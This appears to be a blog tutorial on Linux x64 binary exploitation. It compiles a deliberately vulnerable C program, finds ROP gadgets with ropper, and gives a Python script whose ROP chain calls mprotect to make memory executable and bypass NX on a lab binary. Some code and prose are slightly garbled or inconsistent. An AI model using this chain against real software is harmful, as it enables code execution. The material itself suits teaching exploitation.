Make stack executable | ROP chaining | Bypass NX | Linux x64 Binary Exploitation

Assume you came across a scenario, where you are able to inject your shellcode into the memory, but you aren't able to execute it, due to lack of permission to that memory region. What next? Here we can use this technique, in order to make the stack region executable again.

We will use the same vulnerable piece of code as used in our previous blogs and from that we already know that the offset to the rsp is 120. So after the offset, we will start injecting our payload.

// Compile: gcc -fno-stack-protector aslr1.c -o exec -static     //Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space  
#include <stdio.h>
#include <unistd.h>

int callme() 
    char buffer[100];
    int in;
    in = read(0, buffer, 500);
    return 0;

int main(int argc, char *argv[]) 
    return 0;

NOTE: We have statically linked the binary, so we can directly extract the gadget address out of the binary itself & that wouldn't be affected due to the ASLR protection being enabled. The reason is, statically linked binaries don't have any relocation table & that the library is always loaded at the base address (0x400f4e). So the gadgets will be available at a fixed offset.

Security protections -

Payload structure 

Basically, we will be using multiple gadgets, in order to call a system function named `mprotect()`, which is capable of setting protection to a region of memory. So we will be adding executable permission to the memory region of our choice. Below shared is the payload structure, which we will be constructing.

Junk + System call + Address argument + Length argument  + Protection argument

Now, let's start finding the gadgets in order to construct the exploit  payload. We will use ropper for this purpose. 

oldb0x@oldb0x-VirtualBox:~/classic/fresh$ ropper --file ./exec  --search "xor rax"

First, we will be calling the mprotect function call. The system function call for mprotect is 10, we can find that by referring any system call table.

The syscall number is always stored in rax, so can we just pass 0x0a to rax? well no, 0x0a holds a different meaning, which is a new line character, using that value would mess up with the payload. Hence, we need to find an alternate way to carry out the same. One of the way is by XOR'ing rax with itself  using gadget `xor eax, eax; ret`. This would set the value of rax to zero & then increment the value of rax by 10. For this we will use the gadget `inc, 1` for 10 times. Now rax will be holding the value 10, which will be used later by the syscall.

xor rax, rax;
add rax, 1; ret;

Next task would be to push the arguments required by the function. In Linux x64, the first 6 registers are passed in registers, those are rdi, rsi, rdx, rcx, r8, r9. Arguments more than that, would be pushed into the stack. To push the argument, we will first pop the rdi register & then pass the value, similarly for other arguments too. Here we have 3 arguments to pass, so we will be POP'ing in rdi, rsi, rdx etc.

pop rdi; ret;
Address of buffer;
pop rsi; ret;
size (100);
pop rdx; ret;
Permission -  RWX (7) ;

Then finally calling the syscall using the syscall ret gadget.
syscall; ret;

Final exploit code -

#!/usr/bin/env python

from struct import *

buf = ""
buf += "A"*120                                                    # junk
buf += pack("<Q", 0x000000000041bd4f)         # xor rax, rax;
buf += pack("<Q", 0x000000000045a990) * 10 # add rax, 1; ret;
buf += pack("<Q", 0x0000000000401693)         # pop rdi; ret;
buf += pack("<Q", 0x006bf000)                         # buffer;
buf += pack("<Q", 0x00000000004017a7)         # pop rsi; ret;
buf += pack("<Q", 0x100)                                   # size;
buf += pack("<Q", 0x00000000004371c5)         # pop rdx; ret;
buf += pack("<Q", 0x7)                                      # Permission -  RWX;
buf += pack("<Q", 0x000000000045b4b5)        # syscall()

f = open("in.txt", "w")

Now let's run our exploit to generate the payload & then run against the binary.

Before -

After -

Post a Comment